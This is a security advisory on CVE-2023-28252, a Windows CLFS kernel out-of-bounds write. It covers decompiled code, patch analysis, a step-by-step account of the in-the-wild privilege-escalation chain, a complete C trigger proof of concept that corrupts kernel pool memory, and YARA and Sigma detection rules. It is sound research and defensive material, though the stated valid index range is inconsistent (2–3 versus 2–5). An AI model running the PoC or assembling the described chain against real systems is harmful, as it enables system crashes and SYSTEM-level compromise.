# CVE-2023-28252 — Windows CLFS `clfs.sys` Elevation of Privilege via OOB Read/Write in BLF Control Record

---

## Summary

| **Product**           | Microsoft Windows — `clfs.sys` (Common Log File System kernel driver) |
|-----------------------|-----------------------------------------------------------------------|
| **Vendor**            | Microsoft Corporation |
| **Severity**          | High |
| **Affected Versions** | Windows 10 (all versions); Windows 11 (21H2–22H2); Windows Server 2008–2022 |
| **Tested Version**    | Windows 10.0.22621.1265 (Windows 11 22H2) |
| **Impact**            | Elevation of Privilege — Local user to SYSTEM |
| **CVE ID**            | CVE-2023-28252 |
| **CWE**               | CWE-787: Out-of-bounds Write |
| **PoC Available**     | Yes (trigger PoC — reaches vulnerable code path without weaponization) |
| **Exploit Available** | Yes — exploited in the wild (Nokoyawa ransomware) |
| **Patch Available**   | Yes |
| **Patch Date**        | April 11, 2023 — KB5025239 (Windows 11 22H2) |

---

## CVSS 4.0 Detailed Scoring

**Base Score:** 8.5 (HIGH)
**Vector String:** `CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H`

| **Metric** | **Value** | **Rationale** |
|---|---|---|
| **Attack Vector (AV)** | Local | Requires local authenticated session |
| **Attack Complexity (AC)** | Low | BLF file format is documented; exploitation is deterministic |
| **Attack Requirements (AT)** | None | CLFS is always present in all Windows installations |
| **Privileges Required (PR)** | Low | Standard user account; no administrative rights required |
| **User Interaction (UI)** | None | No interaction from any other user required |
| **Vulnerable System Confidentiality (VC)** | High | SYSTEM-level arbitrary kernel R/W enables access to all local secrets |
| **Vulnerable System Integrity (VI)** | High | Token swap gives full SYSTEM integrity |
| **Vulnerable System Availability (VA)** | High | Kernel memory corruption can cause BSOD |
| **Subsequent System Confidentiality (SC)** | High | SYSTEM access enables credential harvesting and lateral movement |
| **Subsequent System Integrity (SI)** | High | SYSTEM access enables persistence, ransomware deployment |
| **Subsequent System Availability (SA)** | High | Exploited ITW for Nokoyawa ransomware — full system encryption |

> **Note:** NVD rates this CVE at CVSS 3.1 7.8 (`AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`).

---

## Product Description

`clfs.sys` is the kernel driver implementing the Common Log File System (CLFS), a general-purpose high-performance logging subsystem used by TxF (Transactional NTFS), Active Directory, MSDTC, and other Windows components. CLFS operates on Base Log Files (`.blf`) that contain a control record, general metadata, scratch blocks, and container descriptors. The control record includes fields like `iExtendBlock` and `iFlushBlock` that index into an array of metadata block descriptors (`rgBlocks[]`), selecting which scratch block is "active" for extend and flush operations.

CLFS has been a repeated source of kernel EoP vulnerabilities due to its complex on-disk format and the trust placed in file-sourced metadata. CVE-2023-28252 is closely related to the earlier CVE-2023-23376 (February 2023) and shares exploitation strategies with CVE-2022-37969.

---

## Vulnerability Summary

`CClfsBaseFilePersisted::ExtendMetadataBlock` and `CClfsBaseFilePersisted::WriteMetadataBlock` use the `iExtendBlock` and `iFlushBlock` fields from the BLF control record shadow as indices into the `rgBlocks[]` metadata block descriptor array without bounds validation. A crafted BLF file can set both fields to **0x13** — far beyond the valid range of 2–5 — causing out-of-bounds read in `ExtendMetadataBlock` and a **1-byte increment** OOB write in `WriteMetadataBlock`. The 1-byte increment primitive is sufficient to redirect a `CONTAINER_CONTEXT` pointer from a legitimate object to a fake object containing a user-space vtable pointer (`0x5000000`), achieving arbitrary code execution in kernel context.

*Discovery credited to Boris Larin (oct0xor) with Kaspersky, Genwei Jiang with FLARE OTF of Google Cloud + Mandiant, Quan Jin with DBAPPSecurity WeBin Lab.*

---

## Prerequisites and Constraints

- Local authenticated session (standard user; no administrative rights required)
- CLFS is always present — it is a core Windows kernel component, not an optional feature
- BLF files can be created in any user-writable directory (`CreateLogFile` API)
- No kernel driver, special hardware, or pre-existing SYSTEM token required
- No user interaction or social engineering required
- Pool spray via named pipes is a well-known technique requiring no special privileges
- `NtQuerySystemInformation` leak of kernel object addresses required (pre–Windows 10 1903 mitigations)

---

## Vulnerability Details

### Call Chain (Ghidra MCP–Verified)

The complete kernel call chain from userspace API to the vulnerable functions, verified via live Ghidra MCP xref tracing against the pre-patch binary (`clfs-2023-03.sys`, 10.0.22621.1265). Every `→` below was confirmed by `get_function_xrefs` as an `UNCONDITIONAL_CALL`.

```
AddLogContainer (clfsw32.dll, user-mode Win32 API)
  └─► AddLogContainerSet (clfsw32.dll)
        └─► DeviceIoControl (kernel32.dll → kernelbase.dll)
              └─► NtDeviceIoControlFile (ntdll.dll → nt!KiSystemServiceCopyEnd)
                    └─► nt!IofCallDriver
                          └─► CClfsDriver::LogIoDispatch @ 0x1c00329f0 (IRP dispatch, registered by SetIrpFunctions)
                                └─► ClfsDispatchIoRequest @ 0x1c0032a40  [xref: LogIoDispatch+0x22]
                                      └─► CClfsRequest::Dispatch @ 0x1c00334bc  [xref: ClfsDispatchIoRequest+0x89]
                                            └─► IOCTL 0x8007a808 → CClfsLogFcbPhysical::AllocContainer @ 0x1c0029cd0
                                                  └─► CClfsBaseFilePersisted::AddContainer @ 0x1c002a140  [xref: AllocContainer+0x145]
                                                        └─► CClfsBaseFilePersisted::AddSymbol @ 0x1c002a8a4  [xref: AddContainer+0xd7]
                                                              └─► CClfsBaseFilePersisted::ExtendMetadataBlock @ 0x1c004c4b4  [xref: AddSymbol+0x108]  ← OOB READ
                                                                    ├─► CClfsBaseFile::GetControlRecord @ 0x1c0029540  [xref: ExtendMetadataBlock+0x1c0]
                                                                    └─► CClfsBaseFilePersisted::WriteMetadataBlock @ 0x1c0036230  [xref: ExtendMetadataBlock+0x20c, +0x3fd]  ← OOB WRITE (1-byte inc)
```

The BLF file is opened earlier via a separate path. `GetControlRecord` xrefs confirm it is also called from `ReadImage`, `CreateImage`, `FlushControlRecord`, and `AcquireTruncateContext`:

```
CreateLogFile (clfsw32.dll, user-mode Win32 API)
  └─► NtCreateFile → clfs.sys IRP_MJ_CREATE
        └─► CClfsLogFcbPhysical::Initialize
              └─► CClfsBaseFilePersisted::ReadImage @ 0x1c00292c0
                    └─► CClfsBaseFile::GetControlRecord @ 0x1c0029540  [xref: ReadImage+0x12c]  ← reads iExtendBlock/iFlushBlock (NO validation pre-patch)
```

### Root Cause Analysis

The vulnerability is a missing bounds check on two fields in the BLF control record shadow:

**`iExtendBlock`** (offset `0x488` in BLF file, within the control record shadow): Index into `rgBlocks[]` selecting the metadata block used for extend operations. Valid range: 2–3 (scratch blocks 0 and 1). The exploit sets this to **0x13**.

**`iFlushBlock`** (offset `0x48a`): Index selecting the metadata block used for flush operations. Same valid range. Also set to **0x13**.

When `ExtendMetadataBlock` computes the address of the block descriptor at index 0x13, it reads out of bounds past the `rgBlocks[]` array (which has at most 6 entries) into adjacent pool allocations. The exploit fills these adjacent allocations with named pipe data containing the target BLF file's kernel object address, so the OOB read returns a controlled pointer.

`WriteMetadataBlock` then uses the same OOB index to compute an offset for a `dumpCount` increment (`inc qword ptr [rax+r14]`). This single-byte increment at a controlled offset within the target BLF object changes `rgContainers[0]` from `0x1470` to `0x1570`, redirecting it from a legitimate `CONTAINER_CONTEXT` to a fake one with a user-space vtable at `0x5000000`.

#### Decompiled Vulnerable Code (Ghidra MCP — pre-patch)

**`GetControlRecord` @ `0x1c0029540`** — No `iExtendBlock`/`iFlushBlock` validation. Returns the control record pointer after basic offset bounds checks, but never validates that block indices are within `rgBlocks[]`:

```c
// CClfsBaseFile::GetControlRecord — pre-patch (Ghidra decompile)
// Only checks: uVar2 < uVar1, uVar2 > 0x6f, (uVar1 - uVar2) > 0x67,
// and that sectorCount * 0x18 fits in the remaining space.
// NO CHECK on iExtendBlock or iFlushBlock values at all.
*param_1 = (_CLFS_CONTROL_RECORD *)(lVar4 + (ulonglong)uVar2);
return lVar5;
```

**`WriteMetadataBlock` @ `0x1c0036230`** — The OOB read and 1-byte increment. `param_1` is the block index from `iExtendBlock`, used without bounds validation:

```c
// CClfsBaseFilePersisted::WriteMetadataBlock — pre-patch (Ghidra decompile)
lVar1 = (ulonglong)param_1 * 0x18;  // param_1 = 0x13 → lVar1 = 0x1c8
p_Var3 = *(_CLFS_LOG_BLOCK_HEADER **)(*(longlong *)(this + 0x30) + lVar1);
// ^^^ OOB READ: rgBlocks[] has 6 entries (0x90 bytes), but offset 0x1c8 is past the end

uVar7 = *(uint *)(p_Var3 + 0x28);                          // dumpCount offset
*(longlong *)(p_Var3 + uVar7) = *(longlong *)(p_Var3 + uVar7) + 1;  // OOB WRITE: 1-byte increment

// ClfsEncodeBlock return value IGNORED — always proceeds to WriteSector
ClfsEncodeBlock(p_Var3, (uint)*(ushort *)(p_Var3 + 4) << 9, ...);
WriteSector(...);
// Unconditional decode in cleanup:
ClfsDecodeBlock(p_Var3, ...);
```

**`AddSymbol` @ `0x1c002a8a4`** — Calls `ExtendMetadataBlock` when `FindSymbol` returns `STATUS_LOG_FULL` (`-0x3fffffdd`):

```c
// CClfsBaseFilePersisted::AddSymbol — pre-patch (Ghidra decompile)
do {
    lVar2 = CClfsBaseFile::FindSymbol(param_1, param_2, '\x01', param_3, param_4);
    if (lVar2 < 0) {
        if (lVar2 != -0x3fffffdd) break;  // STATUS_LOG_FULL
        // Calls ExtendMetadataBlock with block type 2 (scratch) — this is the entry to the OOB
        lVar3 = ExtendMetadataBlock(this, 2, local_38[0] >> 1);
    }
} while (lVar2 == -0x3fffffdd);
```

### BLF File Format — Malformed Fields

From the P0 RCA, the exploit constructs the BLF file as follows:

```c
// Control Record Shadow (active copy read by GetControlRecord)
WriteFileAt(blf, 0x484, 0x2,   4);  // eExtendState = ClfsExtendStateFlushingBlock
WriteFileAt(blf, 0x488, 0x13,  2);  // iExtendBlock = 0x13 (OOB — valid: 2-3)
WriteFileAt(blf, 0x48a, 0x13,  2);  // iFlushBlock  = 0x13 (OOB — valid: 2-3)

// Control Record (primary copy — set to valid values to pass initial parsing)
WriteFileAt(blf, 0x84,  0x2,   4);  // eExtendState = ClfsExtendStateFlushingBlock
WriteFileAt(blf, 0x88,  0x4,   2);  // iExtendBlock = 4 (valid)
WriteFileAt(blf, 0x8a,  0x4,   2);  // iFlushBlock  = 4 (valid)
WriteFileAt(blf, 0x90,  0x1,   4);  // cExtendStartSectors = 1
WriteFileAt(blf, 0x94,  0x3,   4);  // cExtendSectors = 3
WriteFileAt(blf, 0x9c,  0x2,   4);  // cxTruncate.cClients = 2
WriteFileAt(blf, 0x70,  0x2,   4);  // hdrControlRecord.ullDumpCount = 2
WriteFileAt(blf, 0x6,   0x1,   2);  // ValidSectorCount = 1
```

### Binary Evidence

#### Vulnerable `WriteMetadataBlock` — OOB index used as array offset

From the P0 RCA crash dump, `WriteMetadataBlock` computes the OOB offset:

```asm
; RSI = 0x13 (iExtendBlock from control record shadow)
lea     rcx, [rsi*2]           ; rcx = 0x26
add     rcx, rsi               ; rcx = 0x39  (index * 3)
lea     r8, [rcx*8]            ; r8  = 0x1c8 (byte offset into rgBlocks[])
mov     rcx, [rdi+30h]         ; rcx = base of block descriptor array
mov     r14, [r8+rcx]          ; OOB READ — reads from adjacent pool allocation
; ... later:
mov     eax, [r14+28h]         ; eax = dumpCount offset (0x369)
inc     qword ptr [rax+r14]    ; OOB WRITE — 1-byte increment at controlled offset
```

The `Clfs` pool allocation at `rcx` is only 0x90 bytes, but the access at offset `0x1c8` reads 0x138 bytes past the end into an adjacent `NpFr` (named pipe) allocation filled with the target BLF object address.

#### Patched `GetControlRecord` — bounds validation added

Post-patch (ghidriff, clfs.sys 10.0.22621.1555), `GetControlRecord` tripled in size (299 → 891 bytes) and adds:

```c
// New check — iExtendBlock/iFlushBlock range (g_signatureOffsetsValidation & 0x10)
if (eExtendState != 0) {
    if (iExtendBlock == 0 || iFlushBlock == 0)
        return STATUS_LOG_CORRUPT;
    // Enforce iExtendBlock must be exactly 2 or 3
    if ((iExtendBlock - 2) & 0xFFFD != 0)
        return STATUS_LOG_CORRUPT;
    if (iFlushBlock < iExtendBlock)
        return STATUS_LOG_CORRUPT;
    if (iExtendBlock >= totalBlockCount || iFlushBlock >= totalBlockCount)
        return STATUS_LOG_CORRUPT;
}
```

This directly prevents `iExtendBlock = 0x13`, which is the trigger for the OOB.

---

## Patch Analysis

### Patch Mechanism

KB5025239 (April 11, 2023) patches **13 functions** in `clfs.sys`, gated behind the `g_signatureOffsetsValidation` global (WIL feature flag for controlled rollout with remote kill-switch). The two critical fixes:

1. **`CClfsBaseFile::GetControlRecord`** (3x growth, 299 → 891 bytes): Validates `iExtendBlock` and `iFlushBlock` must be 2 or 3, block descriptor monotonicity, sector size consistency.

2. **`CClfsBaseFilePersisted::WriteMetadataBlock`** (627 → 727 bytes): `ClfsEncodeBlock` return value now checked; write skipped on encode failure; conditional decode in cleanup.

Additionally, 11 other functions received hardening: `ValidateScratchBlockOffsets` (2x growth), `AcquireMetadataBlock` (null check), `AppendRegion` (bounds restructuring), `ClfsDecodeBlockPrivate` (sector signature validation), `CopyImage`, `SetEndOfLog`, `TruncateLogRewriteOwnerPages`, `RecoverTruncateLog`, `FlushMetadata`, and the `WriteMetadataBlock` exception handler.

**Binary diff summary (ghidriff):**

| Function | Similarity | Length Change | Critical Fix |
|---|---|---|---|
| `GetControlRecord` | 0.25 | 299 → 891 (+198%) | `iExtendBlock`/`iFlushBlock` range validation |
| `WriteMetadataBlock` | 0.73 | 627 → 727 (+16%) | `ClfsEncodeBlock` return check |
| `ValidateScratchBlockOffsets` | 0.14 | 743 → 1,519 (+104%) | Disk-based scratch block validation |
| `AppendRegion` | 0.39 | 2,576 → 2,621 (+2%) | Bounds checking restructure |
| `AcquireMetadataBlock` | 0.58 | 119 → 209 (+76%) | Null pointer check |
| `ClfsDecodeBlockPrivate` | 0.77 | — | Sector signature validation |

Total functions analyzed: 2,867. Functions unchanged: 2,849.

### Patch Correctness Assessment

The fix is well-targeted. The `(iExtendBlock - 2) & 0xFFFD == 0` check is a compact way to enforce "must be 2 or 3" — subtracting 2 gives 0 or 1, and masking with 0xFFFD (all bits except bit 1) confirms the value is in `{0, 1}`. Any value ≥ 4 or ≤ 1 fails. This directly blocks the exploit's 0x13 index.

The fix is broader than strictly necessary for this single CVE — the additional hardening in 11 other functions suggests Microsoft performed variant analysis across all BLF format parsing paths, consistent with the repeated CLFS vulnerability history.

---

## Exploitation

This vulnerability was **exploited in the wild** by the Nokoyawa ransomware group, discovered by Kaspersky in February 2023 and patched in April 2023. The P0 RCA by Genwei Jiang (FLARE OTF) documents the full exploit flow:

### Exploitation Mechanism

**Phase 1 — BLF file preparation.** Create a target BLF file with: a legitimate `CONTAINER_CONTEXT` at offset `0x1470`, and a **fake** `CONTAINER_CONTEXT` at offset `0x1570` containing vtable pointer `0x5000000`.

**Phase 2 — Trigger file construction.** Create 10 triggering BLF files with `iExtendBlock = iFlushBlock = 0x13` and `eExtendState = ClfsExtendStateFlushingBlock` in the control record shadow.

**Phase 3 — Pool spray.** Spray non-paged pool via named pipes (`NpFr` allocations), filling pipe data with the target BLF file's kernel object address.

**Phase 4 — Hole creation.** Close specific pipe handles to create holes in the pool, then fill holes by opening the triggering BLF files with `CreateLogFile`. This places the CLFS block descriptor array (`Clfs` tag, 0x90 bytes) adjacent to pipe data containing the controlled address.

**Phase 5 — OOB trigger.** Call `AddLogContainer` on a triggering BLF handle. The call chain reaches `ExtendMetadataBlock` → `WriteMetadataBlock`, where `iExtendBlock = 0x13` causes an OOB read of the adjacent pipe data (getting the target BLF address) and a **1-byte increment** of `rgContainers[0]` in the target BLF object (`0x1470` → `0x1570`).

**Phase 6 — Vtable hijack.** Call `CreateLogFile` on the target BLF. CLFS follows `rgContainers[0]` to the fake `CONTAINER_CONTEXT` at `0x1570`, which has vtable at `0x5000000`, detonating the placed gadgets.

### Platform-Specific Gadget Chains

**Windows 10:** Places `nt!RtlClearBit` at vtable+0x28 to clear `PreviousMode` bit in `KTHREAD`, enabling `NtWriteVirtualMemory` for arbitrary kernel R/W → token swap to SYSTEM.

**Windows 11:** Uses `nt!PoFxProcessorNotification` → `nt!SeSetAccessStateGenericMapping` gadget chain to corrupt pipe attributes for arbitrary kernel R/W via `NtFsControlFile` → token swap.

**Outcome:** Full SYSTEM privilege. The Nokoyawa ransomware immediately deployed ransomware payloads after privilege escalation.

---

## Proof-of-Concept

**PoC Reliability:** High — fully deterministic on unpatched systems; will cause BSOD (pool corruption) detectable by Driver Verifier
**Exploitation Difficulty:** Low (trigger) / Moderate (full exploit chain)
**Weaponization Potential:** High — well-documented exploitation chain in public P0 RCA

**PoC Capabilities:**

This is a **trigger-only** PoC that reaches the vulnerable code path by creating a malformed BLF file and calling `AddLogContainer`. It does NOT implement pool spray, vtable hijack, or privilege escalation. On unpatched systems with Driver Verifier / Special Pool enabled for `clfs.sys`, this will produce a BSOD in `CClfsBaseFilePersisted::ExtendMetadataBlock` confirming the OOB access. On patched systems, `GetControlRecord` will reject the malformed BLF with `STATUS_LOG_CORRUPT` (0xC01A000E).

**Build environment:** Visual Studio 2019+. Link against `clfsw32.lib`. Run on a non-production VM only. Enable Driver Verifier with Special Pool for `clfs.sys` to catch the OOB.

**PoC Code:**

```c
/*
 * CVE-2023-28252 — CLFS clfs.sys OOB Read/Write Trigger PoC
 *
 * PURPOSE: Confirms the vulnerability exists by triggering the OOB access
 *          in ExtendMetadataBlock/WriteMetadataBlock via a malformed BLF file.
 *          Does NOT implement exploitation (no pool spray, no vtable hijack).
 *
 * EFFECT:  On unpatched systems: BSOD (with Driver Verifier) or silent pool
 *          corruption (without). On patched systems: CreateLogFile returns
 *          STATUS_LOG_CORRUPT, confirming the fix blocks the malformed BLF.
 *
 * BUILD:   cl.exe /W4 /O2 poc_cve_2023_28252.c /link clfsw32.lib
 * RUN:     poc_cve_2023_28252.exe  (standard user, non-production VM only)
 *
 * Credit: Trigger methodology derived from P0 RCA by Genwei Jiang (FLARE OTF).
 *         Original ITW exploit by Nokoyawa ransomware group.
 */

#include <stdio.h>
#include <windows.h>
#include <clfsw32.h>

#pragma comment(lib, "clfsw32.lib")

/*
 * BLF control record field offsets (from P0 RCA).
 * The control record shadow is the "active" copy read by GetControlRecord.
 */
#define BLF_VALID_SECTOR_COUNT_OFF      0x6
#define BLF_CR_DUMP_COUNT_OFF           0x70
#define BLF_CR_EXTEND_STATE_OFF         0x84
#define BLF_CR_IEXTENDBLOCK_OFF         0x88
#define BLF_CR_IFLUSHBLOCK_OFF          0x8a
#define BLF_CR_CEXTENDSTARTSECTORS_OFF  0x90
#define BLF_CR_CEXTENDSECTORS_OFF       0x94
#define BLF_CR_CCLIENTS_OFF             0x9c

/* Shadow copy offsets (0x400 bytes after primary) */
#define BLF_SHADOW_EXTEND_STATE_OFF     0x484
#define BLF_SHADOW_IEXTENDBLOCK_OFF     0x488
#define BLF_SHADOW_IFLUSHBLOCK_OFF      0x48a

/* The OOB index value used by the ITW exploit */
#define OOB_BLOCK_INDEX                 0x13

/*
 * WriteFileAt — patch a BLF file at a specific offset.
 */
static BOOL WriteFileAt(LPCWSTR path, DWORD offset, const void *data, DWORD size)
{
    HANDLE hFile = CreateFileW(path, GENERIC_WRITE, 0, NULL,
                               OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return FALSE;

    DWORD written;
    SetFilePointer(hFile, offset, NULL, FILE_BEGIN);
    BOOL ok = WriteFile(hFile, data, size, &written, NULL);
    CloseHandle(hFile);
    return ok && (written == size);
}

static void PatchDword(LPCWSTR path, DWORD offset, DWORD value)
{
    WriteFileAt(path, offset, &value, sizeof(value));
}

static void PatchWord(LPCWSTR path, DWORD offset, WORD value)
{
    WriteFileAt(path, offset, &value, sizeof(value));
}

int wmain(void)
{
    WCHAR logPath[MAX_PATH];
    WCHAR containerPath[MAX_PATH];
    WCHAR blfPath[MAX_PATH];

    /* Use a temp directory for the BLF and container */
    GetTempPathW(MAX_PATH, logPath);
    wcscat_s(logPath, MAX_PATH, L"cve_2023_28252_trigger");

    wcscpy_s(containerPath, MAX_PATH, logPath);
    wcscat_s(containerPath, MAX_PATH, L"_container");

    wcscpy_s(blfPath, MAX_PATH, logPath);
    wcscat_s(blfPath, MAX_PATH, L".blf");

    printf("[*] CVE-2023-28252 CLFS OOB Trigger PoC\n");
    printf("[*] BLF path: %ls\n", blfPath);

    /* ----- Phase 1: Create a valid BLF file with a container ----- */
    printf("[+] Phase 1: Creating valid BLF file...\n");

    HANDLE hLog = CreateLogFile(
        logPath,
        GENERIC_READ | GENERIC_WRITE,
        0,                          /* no sharing */
        NULL,
        OPEN_ALWAYS,
        0
    );
    if (hLog == INVALID_HANDLE_VALUE) {
        printf("[-] CreateLogFile failed: %lu\n", GetLastError());
        return 1;
    }

    /* Add a container so the BLF has container descriptors */
    ULONGLONG containerSize = 512 * 1024;  /* 512 KB */
    if (!AddLogContainer(hLog, &containerSize, containerPath, NULL)) {
        /* If container already exists, that's fine */
        if (GetLastError() != ERROR_ALREADY_EXISTS) {
            printf("[-] AddLogContainer failed: %lu\n", GetLastError());
            CloseHandle(hLog);
            return 1;
        }
    }

    /* Close the log so we can modify the BLF on disk */
    CloseHandle(hLog);
    printf("[+] Valid BLF created and closed.\n");

    /* ----- Phase 2: Corrupt the BLF control record shadow ----- */
    printf("[+] Phase 2: Patching BLF with OOB index 0x%x...\n", OOB_BLOCK_INDEX);

    /* Control record shadow — the "active" copy used by GetControlRecord */
    PatchDword(blfPath, BLF_SHADOW_EXTEND_STATE_OFF, 0x2);   /* ClfsExtendStateFlushingBlock */
    PatchWord(blfPath,  BLF_SHADOW_IEXTENDBLOCK_OFF, OOB_BLOCK_INDEX);
    PatchWord(blfPath,  BLF_SHADOW_IFLUSHBLOCK_OFF,  OOB_BLOCK_INDEX);

    /* Primary control record — set to valid values for initial parse */
    PatchDword(blfPath, BLF_CR_EXTEND_STATE_OFF, 0x2);
    PatchWord(blfPath,  BLF_CR_IEXTENDBLOCK_OFF, 0x4);
    PatchWord(blfPath,  BLF_CR_IFLUSHBLOCK_OFF,  0x4);
    PatchDword(blfPath, BLF_CR_CEXTENDSTARTSECTORS_OFF, 0x1);
    PatchDword(blfPath, BLF_CR_CEXTENDSECTORS_OFF, 0x3);
    PatchDword(blfPath, BLF_CR_CCLIENTS_OFF, 0x2);
    PatchDword(blfPath, BLF_CR_DUMP_COUNT_OFF, 0x2);
    PatchWord(blfPath,  BLF_VALID_SECTOR_COUNT_OFF, 0x1);

    printf("[+] BLF patched.\n");

    /* ----- Phase 3: Reopen the malformed BLF to trigger OOB ----- */
    printf("[+] Phase 3: Reopening malformed BLF...\n");
    printf("[!] On UNPATCHED systems: this will cause pool corruption or BSOD\n");
    printf("[!] On PATCHED systems:   CreateLogFile returns STATUS_LOG_CORRUPT\n");

    hLog = CreateLogFile(
        logPath,
        GENERIC_READ | GENERIC_WRITE,
        0,
        NULL,
        OPEN_EXISTING,
        0
    );
    if (hLog == INVALID_HANDLE_VALUE) {
        DWORD err = GetLastError();
        if (err == ERROR_LOG_CORRUPT) {
            printf("[+] PATCHED: CreateLogFile returned ERROR_LOG_CORRUPT (0x%lx)\n", err);
            printf("[+] The iExtendBlock=0x13 was rejected by GetControlRecord validation.\n");
            printf("[+] System is NOT vulnerable to CVE-2023-28252.\n");
        } else {
            printf("[?] CreateLogFile failed with unexpected error: %lu (0x%lx)\n", err, err);
        }
        goto cleanup;
    }

    /* If we get here on an unpatched system, the BLF was accepted.
     * Now trigger the OOB by calling AddLogContainer, which reaches
     * ExtendMetadataBlock -> WriteMetadataBlock using iExtendBlock=0x13.
     *
     * WARNING: On unpatched systems, this WILL cause pool corruption.
     * With Driver Verifier / Special Pool enabled, expect BSOD here.
     */
    printf("[!] BLF accepted — system appears VULNERABLE.\n");
    printf("[!] Triggering AddLogContainer to reach OOB code path...\n");

    WCHAR triggerContainer[MAX_PATH];
    wcscpy_s(triggerContainer, MAX_PATH, logPath);
    wcscat_s(triggerContainer, MAX_PATH, L"_trigger_container");

    containerSize = 512 * 1024;
    if (!AddLogContainer(hLog, &containerSize, triggerContainer, NULL)) {
        DWORD err = GetLastError();
        printf("[*] AddLogContainer returned error: %lu (0x%lx)\n", err, err);
        printf("[*] If Driver Verifier is enabled, BSOD may have already occurred.\n");
    } else {
        printf("[!] AddLogContainer succeeded — OOB access occurred in kernel.\n");
        printf("[!] Pool corruption has occurred. Reboot recommended.\n");
    }

    CloseHandle(hLog);

cleanup:
    /* Clean up BLF and container files */
    DeleteFileW(blfPath);
    DeleteFileW(containerPath);

    WCHAR tlPath[MAX_PATH];
    wcscpy_s(tlPath, MAX_PATH, logPath);
    wcscat_s(tlPath, MAX_PATH, L"_trigger_container");
    DeleteFileW(tlPath);

    return 0;
}
```

---

## Detection Guidance

### YARA Rules

#### Rule 1 — Malformed BLF File (on-disk artifact)

Detects BLF files with `iExtendBlock` or `iFlushBlock` set to values outside the valid range (2–5) in the control record shadow. This catches the specific exploitation artifact.

```yara
rule CVE_2023_28252_Malformed_BLF {
    meta:
        description = "Detects malformed CLFS BLF files with OOB iExtendBlock/iFlushBlock in control record shadow"
        cve         = "CVE-2023-28252"
        severity    = "CRITICAL"
        author      = "OnlyFm252 / STAR Labs SG"
        date        = "2025-07-17"
        reference   = "https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2023/CVE-2023-28252.html"
        filetype    = "BLF"

    condition:
        /* BLF magic: first 4 bytes are 0x00 0x00 0x03 0x00 (CLFS_LOG_BLOCK_HEADER signature)
           or check for CLFS record signature patterns */
        filesize < 1MB

        /* Control record shadow eExtendState at offset 0x484 == 2 (ClfsExtendStateFlushingBlock) */
        and uint32(0x484) == 0x2

        /* Control record shadow iExtendBlock at offset 0x488 is outside valid range [2,5] */
        and (uint16(0x488) > 0x5 or uint16(0x488) < 0x2)
}
```

#### Rule 2 — Exploit Binary (memory/disk scan)

Detects binaries containing the API combination and BLF manipulation patterns consistent with CVE-2023-28252 exploitation.

```yara
rule CVE_2023_28252_CLFS_Exploit_Binary {
    meta:
        description = "Detects exploit binaries targeting CVE-2023-28252 CLFS OOB via BLF manipulation"
        cve         = "CVE-2023-28252"
        severity    = "CRITICAL"
        author      = "OnlyFm252 / STAR Labs SG"
        date        = "2025-07-17"
        reference   = "https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2023/CVE-2023-28252.html"

    strings:
        /* CLFS Win32 APIs */
        $api_create  = "CreateLogFile" ascii wide
        $api_add     = "AddLogContainer" ascii wide

        /* Kernel info leak for pool spray targeting */
        $api_query   = "NtQuerySystemInformation" ascii wide

        /* Named pipe spray APIs */
        $api_pipe    = "CreateNamedPipe" ascii wide

        /* BLF file extension */
        $blf_ext     = ".blf" ascii wide nocase

        /* Container path patterns from Nokoyawa samples */
        $container   = "\\Users\\Public\\" ascii wide nocase

        /* Pool spray: pipe data pattern — 8-byte aligned kernel address repeated */
        $spray_size  = { 60 00 00 00 }  /* 0x60 — common pipe data size in CLFS exploits */

        /* VirtualAlloc at 0x5000000 — user-space vtable placement */
        $vtable_addr = { 00 00 00 05 00 00 00 00 }  /* 0x5000000 LE qword */

    condition:
        uint16(0) == 0x5A4D
        and $api_create
        and $api_add
        and $api_query
        and ($api_pipe or $container)
        and ($blf_ext or $vtable_addr or $spray_size)
}
```

#### Rule 3 — Nokoyawa Ransomware CLFS Exploit Variant

Detects the specific Nokoyawa ransomware variant that exploits CVE-2023-28252, based on the VirusTotal sample (SHA256: `018c464676b4a71be83bc073f482e94a4850e9c24abe4c4ed1285258ca95a21e`).

```yara
rule Nokoyawa_CLFS_Exploit {
    meta:
        description = "Detects Nokoyawa ransomware CVE-2023-28252 exploit component"
        cve         = "CVE-2023-28252"
        severity    = "CRITICAL"
        author      = "OnlyFm252 / STAR Labs SG"
        date        = "2025-07-17"
        reference   = "https://securelist.com/nokoyawa-ransomware-attacks-with-windows-zero-day/109483/"
        hash        = "018c464676b4a71be83bc073f482e94a4850e9c24abe4c4ed1285258ca95a21e"

    strings:
        $api1 = "CreateLogFile" ascii wide
        $api2 = "AddLogContainer" ascii wide
        $api3 = "NtQuerySystemInformation" ascii wide

        /* Multiple BLF files created with sequential naming pattern */
        $pattern1 = "\\Users\\Public\\p_" ascii wide
        $pattern2 = ".container_" ascii wide

        /* Gadget function names resolved from ntoskrnl */
        $gadget1 = "RtlClearBit" ascii
        $gadget2 = "PoFxProcessorNotification" ascii
        $gadget3 = "SeSetAccessStateGenericMapping" ascii

    condition:
        uint16(0) == 0x5A4D
        and all of ($api*)
        and any of ($pattern*)
        and any of ($gadget*)
}
```

### Sigma Rules

#### Rule 1 — Suspicious BLF File Creation

```yaml
title: Suspicious CLFS Base Log File Creation by Non-Standard Process
id: a7b3c1d4-5e6f-4a8b-9c0d-2e3f4a5b6c7d
status: experimental
description: |
    Detects creation of .blf files by processes other than known legitimate
    CLFS consumers. Multiple BLF files created in rapid succession from
    user-writable directories is a strong indicator of CVE-2023-28252
    exploitation (or related CLFS EoP variants).
references:
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-28252
    - https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2023/CVE-2023-28252.html
author: OnlyFm252 / STAR Labs SG
date: 2025/07/17
tags:
    - attack.privilege_escalation
    - attack.t1068
    - cve.2023.28252
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|endswith: '.blf'
    filter_system_paths:
        TargetFilename|startswith:
            - 'C:\Windows\System32\config\'
            - 'C:\Windows\System32\SMI\'
            - 'C:\System Volume Information\'
    filter_legitimate_processes:
        Image|endswith:
            - '\svchost.exe'
            - '\clussvc.exe'
            - '\msdtc.exe'
            - '\DfsrRo.exe'
    condition: selection and not filter_system_paths and not filter_legitimate_processes
falsepositives:
    - Custom applications using CLFS for transactional logging
